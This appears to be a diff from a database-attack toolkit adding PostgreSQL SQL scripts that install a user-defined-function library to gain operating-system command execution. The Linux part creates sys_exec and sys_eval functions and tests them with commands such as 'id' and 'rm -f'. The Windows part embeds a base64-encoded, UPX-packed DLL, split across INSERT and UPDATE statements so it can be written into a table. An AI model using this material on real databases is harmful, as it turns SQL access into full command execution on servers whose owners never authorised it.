|
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
|
||||||
|
-- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so
|
||||||
|
-- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
|
||||||
|
-- The following would save into / (Permission denied)
|
||||||
|
-- SELECT lo_export(35817, '/lib_postgresqludf_sys.so');
|
||||||
|
|
||||||
|
|
||||||
|
-- Create two functions from the binary UDF file
|
||||||
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
|
||||||
|
|
||||||
|
-- Test the two functions
|
||||||
|
SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres
|
||||||
|
SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id');
|
||||||
|
|
||||||
|
|
||||||
|
-- Cleanup the file system and the database
|
||||||
|
SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*');
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec(text);
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval(text);
|
||||||
104
extra/postgresqludfsys/command_execution/windows.sql
Normal file
104
extra/postgresqludfsys/command_execution/windows.sql
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
-- Notes:
|
||||||
|
--
|
||||||
|
-- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one
|
||||||
|
-- compiled using PostgreSQL 8.2 C libraries
|
||||||
|
--
|
||||||
|
-- DLL compiled using PostgreSQL 8.3 C libraries
|
||||||
|
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
|
||||||
|
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
|
||||||
|
--
|
||||||
|
-- DLL compiled using PostgreSQL 8.2 C libraries
|
||||||
|
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
|
||||||
|
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
|
||||||
|
--
|
||||||
|
-- Little hack to compress the dynamic-linked library:
|
||||||
|
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
|
||||||
|
-- * Remember to compile it under Visual C++ 2008 with the
|
||||||
|
-- 'Configuration' set as 'Release'
|
||||||
|
-- * Use upx (http://upx.sourceforge.net) over the DLL:
|
||||||
|
-- * upx -9 library.dll -o library_upx.dll
|
||||||
|
|
||||||
|
|
||||||
|
-- Create a table with one field data-type text
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
CREATE TABLE udftest(data text);
|
||||||
|
|
||||||
|
|
||||||
|
-- Insert the base64 encoded UDF in the table
|
||||||
|
|
||||||
|
-- DLL compiled using PostgreSQL 8.3 C libraries
|
||||||
|
INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
|
||||||
|
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw';
|
||||||
|
UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c';
|
||||||
|
UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU';
|
||||||
|
UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C';
|
||||||
|
UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
|
||||||
|
|
||||||
|
-- DLL compiled using PostgreSQL 8.2 C libraries
|
||||||
|
-- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
|
||||||
|
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciCBTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ';
|
||||||
|
-- UPDATE udftest SET data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6';
|
||||||
|
-- UPDATE udftest SET data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q';
|
||||||
|
-- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp';
|
||||||
|
